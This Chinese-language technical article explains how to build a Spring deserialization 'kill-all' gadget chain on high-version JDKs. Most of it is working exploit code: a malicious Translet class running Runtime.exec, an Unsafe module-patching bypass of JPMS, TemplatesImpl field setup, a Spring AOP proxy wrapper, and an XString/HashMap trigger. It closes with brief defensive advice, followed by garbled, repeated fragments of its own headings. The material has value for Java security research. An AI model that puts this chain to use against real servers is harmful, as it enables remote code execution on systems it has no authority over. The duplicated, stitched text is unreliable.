高版本JDK下Spring通杀链技术分析<\/h1>

1. 背景概述<\/h2>
在Java高版本环境中，由于模块化系统的引入，传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。<\/p>

2. TemplatesImpl链基础原理<\/h2>

2.1 调用栈分析<\/h3>

TemplatesImpl#getOutputProperties
    → TemplatesImpl#newTransformer
    → TemplatesImpl#getTransletInstance
    → TemplatesImpl#defineTransletClasses
    → TemplatesImpl#defineClass
<\/code><\/pre>
2.2 关键参数设置<\/h3>
需要正确设置三个关键参数：<\/p>

_bytecodes<\/code>：恶意类字节码<\/li>
_name<\/code>：不能为null<\/li>
_tfactory<\/code>：TransformerFactoryImpl实例<\/li>
<\/ul>
2.3 传统利用方式<\/h3>
\/\/ 恶意类示例
<\/span><\/span><\/span><\/span>import<\/span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;<\/span>
<\/span><\/span>import<\/span> java.io.IOException;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> shell<\/span> extends<\/span> AbstractTranslet {<\/span>
<\/span><\/span>    public<\/span> shell<\/span>()<\/span> throws<\/span> IOException {<\/span>
<\/span><\/span>        Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    public<\/span> void<\/span> transform<\/span>(<\/span>DOM document,<\/span> SerializationHandler[]<\/span> handlers)<\/span> {<\/span> }<\/span>
<\/span><\/span>    
<\/span><\/span>    @Override<\/span>
<\/span><\/span>    public<\/span> void<\/span> transform<\/span>(<\/span>DOM document,<\/span> DTMAxisIterator iterator,<\/span> SerializationHandler handler)<\/span> {<\/span> }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3. 高版本JDK的限制与绕过<\/h2>
3.1 模块化系统限制<\/h3>
Java 9+引入JPMS模块化系统，com.sun.*<\/code>等内部类被放在java.xml<\/code>模块中，默认不对外暴露。<\/p>
3.2 反射访问条件<\/h3>
通过反射访问需要满足：<\/p>

调用方与目标类在同一模块<\/li>
目标模块对调用方导出或开放包<\/li>
目标类与成员的修饰符及继承关系符合要求<\/li>
<\/ol>
3.3 Unsafe类利用<\/h3>
使用sun.misc.Unsafe<\/code>修改module属性绕过限制：<\/p>
private<\/span> static<\/span> void<\/span> patchModule<\/span>(<\/span>Class clazz)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    Field field =<\/span> Unsafe.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"theUnsafe"<\/span>);<\/span>
<\/span><\/span>    field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>    Unsafe unsafe =<\/span> (<\/span>Unsafe)<\/span> field.<\/span>get<\/span>(<\/span>null<\/span>);<\/span>
<\/span><\/span>    long<\/span> offset =<\/span> unsafe.<\/span>objectFieldOffset<\/span>(<\/span>Class.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"module"<\/span>));<\/span>
<\/span><\/span>    Module targetModule =<\/span> Object.<\/span>class<\/span>.<\/span>getModule<\/span>();<\/span>
<\/span><\/span>    unsafe.<\/span>getAndSetObject<\/span>(<\/span>clazz,<\/span> offset,<\/span> targetModule);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4. 关键技术突破点<\/h2>
4.1 非继承AbstractTranslet的绕过技术<\/h3>
当恶意类不继承AbstractTranslet<\/code>时，需要：<\/p>

设置_bytecodes<\/code>包含两个类字节码<\/li>
正确设置_transletIndex<\/code>为0或1<\/li>
确保_auxClasses<\/code>不为空<\/li>
<\/ol>
4.2 模块访问权限处理<\/h3>
通过分析java.xml<\/code>模块的导出包，发现javax.xml.transform<\/code>包完全导出，其中的Templates<\/code>接口包含getOutputProperties()<\/code>方法。<\/p>
5. 完整利用链构造<\/h2>
5.1 恶意类生成<\/h3>
ClassPool classPool =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span>
<\/span><\/span>CtClass cc =<\/span> classPool.<\/span>makeClass<\/span>(<\/span>"Evil"<\/span>);<\/span>
<\/span><\/span>String cmd =<\/span> "java.lang.Runtime.getRuntime().exec(\"calc\");"<\/span>;<\/span>
<\/span><\/span>cc.<\/span>makeClassInitializer<\/span>().<\/span>insertBefore<\/span>(<\/span>cmd);<\/span>
<\/span><\/span>byte<\/span>[]<\/span> classBytes =<\/span> cc.<\/span>toBytecode<\/span>();<\/span>
<\/span><\/span><\/code><\/pre>5.2 TemplatesImpl实例构造<\/h3>
byte<\/span>[][]<\/span> code =<\/span> new<\/span> byte<\/span>[][]{<\/span>classBytes,<\/span> classBytes1};<\/span>
<\/span><\/span>Class clazz =<\/span> Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"<\/span>);<\/span>
<\/span><\/span>Object impl =<\/span> getObject(<\/span>clazz);<\/span>
<\/span><\/span>setFieldValue(<\/span>impl,<\/span> "_name"<\/span>,<\/span> "fupanc"<\/span>);<\/span>
<\/span><\/span>setFieldValue(<\/span>impl,<\/span> "_tfactory"<\/span>,<\/span> getObject(<\/span>Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"<\/span>)));<\/span>
<\/span><\/span>setFieldValue(<\/span>impl,<\/span> "_bytecodes"<\/span>,<\/span> code);<\/span>
<\/span><\/span>setFieldValue(<\/span>impl,<\/span> "_transletIndex"<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>5.3 AOP代理设置<\/h3>
AdvisedSupport advisedSupport =<\/span> new<\/span> AdvisedSupport();<\/span>
<\/span><\/span>advisedSupport.<\/span>setTarget<\/span>(<\/span>impl);<\/span>
<\/span><\/span>Constructor constructor =<\/span> Class.<\/span>forName<\/span>(<\/span>"org.springframework.aop.framework.JdkDynamicAopProxy"<\/span>)<\/span>
<\/span><\/span>    .<\/span>getDeclaredConstructor<\/span>(<\/span>AdvisedSupport.<\/span>class<\/span>);<\/span>
<\/span><\/span>constructor.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>Object proxyAop =<\/span> constructor.<\/span>newInstance<\/span>(<\/span>advisedSupport);<\/span>
<\/span><\/span>Object proxy =<\/span> Proxy.<\/span>newProxyInstance<\/span>(<\/span>ClassLoader.<\/span>getSystemClassLoader<\/span>(),<\/span> 
<\/span><\/span>    new<\/span> Class[]{<\/span>Templates.<\/span>class<\/span>},<\/span> (<\/span>InvocationHandler)<\/span> proxyAop);<\/span>
<\/span><\/span><\/code><\/pre>5.4 触发结构构造<\/h3>
POJONode node =<\/span> new<\/span> POJONode(<\/span>proxy);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 获取XString实例
<\/span><\/span><\/span><\/span>Class xstringClazz =<\/span> Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xpath.internal.objects.XString"<\/span>);<\/span>
<\/span><\/span>Constructor xstringConstructor =<\/span> xstringClazz.<\/span>getConstructor<\/span>(<\/span>String.<\/span>class<\/span>);<\/span>
<\/span><\/span>xstringConstructor.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>Object xString =<\/span> xstringConstructor.<\/span>newInstance<\/span>(<\/span>"111"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 构造触发HashMap
<\/span><\/span><\/span><\/span>Hashtable hash =<\/span> new<\/span> Hashtable();<\/span>
<\/span><\/span>HashMap hashMap0 =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>hashMap0.<\/span>put<\/span>(<\/span>"zZ"<\/span>,<\/span> xString);<\/span>
<\/span><\/span>hashMap0.<\/span>put<\/span>(<\/span>"yy"<\/span>,<\/span> node);<\/span>
<\/span><\/span>
<\/span><\/span>HashMap hashMap1 =<\/span> new<\/span> HashMap();<\/span>
<\/span><\/span>hashMap1.<\/span>put<\/span>(<\/span>"zZ"<\/span>,<\/span> node);<\/span>
<\/span><\/span>hashMap1.<\/span>put<\/span>(<\/span>"yy"<\/span>,<\/span> xString);<\/span>
<\/span><\/span>
<\/span><\/span>hash.<\/span>put<\/span>(<\/span>hashMap0,<\/span> "1"<\/span>);<\/span>
<\/span><\/span>hash.<\/span>put<\/span>(<\/span>hashMap1,<\/span> "2"<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>6. 技术要点总结<\/h2>

模块绕过<\/strong>：使用Unsafe修改module属性突破JPMS限制<\/li>
类继承绕过<\/strong>：通过多字节码和_transletIndex设置避免继承AbstractTranslet<\/li>
代理机制<\/strong>：利用Spring AOP代理将调用转移到TemplatesImpl<\/li>
触发机制<\/strong>：通过HashMap+XString的hash碰撞触发反序列化<\/li>
<\/ol>
7. 防御建议<\/h2>

严格限制反序列化操作<\/li>
使用安全管理器限制反射访问<\/li>
及时更新JDK和Spring框架版本<\/li>
实施代码安全审计和依赖项检查<\/li>
<\/ul>
此技术分析详细展示了在高版本JDK环境下构造Spring通杀链的关键技术点，对理解Java安全机制和防御此类攻击具有重要参考价值。<\/p>

高版本JDK下Spring通杀链技术分析<\/h1>

1. 背景概述<\/h2>
在Java高版本环境中，由于模块化系统的引入，传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。<\/p>

2. TemplatesImpl链基础原理<\/h2>

3. 高版本JDK的限制与绕过<\/h2>

3.1 模块化系统限制<\/h3>
Java 9+引入JPMS模块化系统，`com.sun.*<\/code>等内部类被放在java.xml<\/code>模块中，默认不对外暴露。<\/p>`

4. 关键技术突破点<\/h2>

4.2 模块访问权限处理<\/h3>
通过分析`java.xml<\/code>模块的导出包，发现javax.xml.transform<\/code>包完全导出，其中的Templates<\/code>接口包含getOutputProperties()<\/code>方法。<\/p>`

高版本JDK下Spring通杀链技术分析<\/h1>

1. 背景概述<\/h2> 在Java高版本环境中，由于模块化系统的引入，传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。<\/p>

2. TemplatesImpl链基础原理<\/h2>

3. 高版本JDK的限制与绕过<\/h2>

3.1 模块化系统限制<\/h3> Java 9+引入JPMS模块化系统，com.sun.*<\/code>等内部类被放在java.xml<\/code>模块中，默认不对外暴露。<\/p>

4. 关键技术突破点<\/h2>

4.2 模块访问权限处理<\/h3> 通过分析java.xml<\/code>模块的导出包，发现javax.xml.transform<\/code>包完全导出，其中的Templates<\/code>接口包含getOutputProperties()<\/code>方法。<\/p>

1. 背景概述<\/h2>
在Java高版本环境中，由于模块化系统的引入，传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。<\/p>

3.1 模块化系统限制<\/h3>
Java 9+引入JPMS模块化系统，`com.sun.*<\/code>等内部类被放在java.xml<\/code>模块中，默认不对外暴露。<\/p>`

4.2 模块访问权限处理<\/h3>
通过分析`java.xml<\/code>模块的导出包，发现javax.xml.transform<\/code>包完全导出，其中的Templates<\/code>接口包含getOutputProperties()<\/code>方法。<\/p>`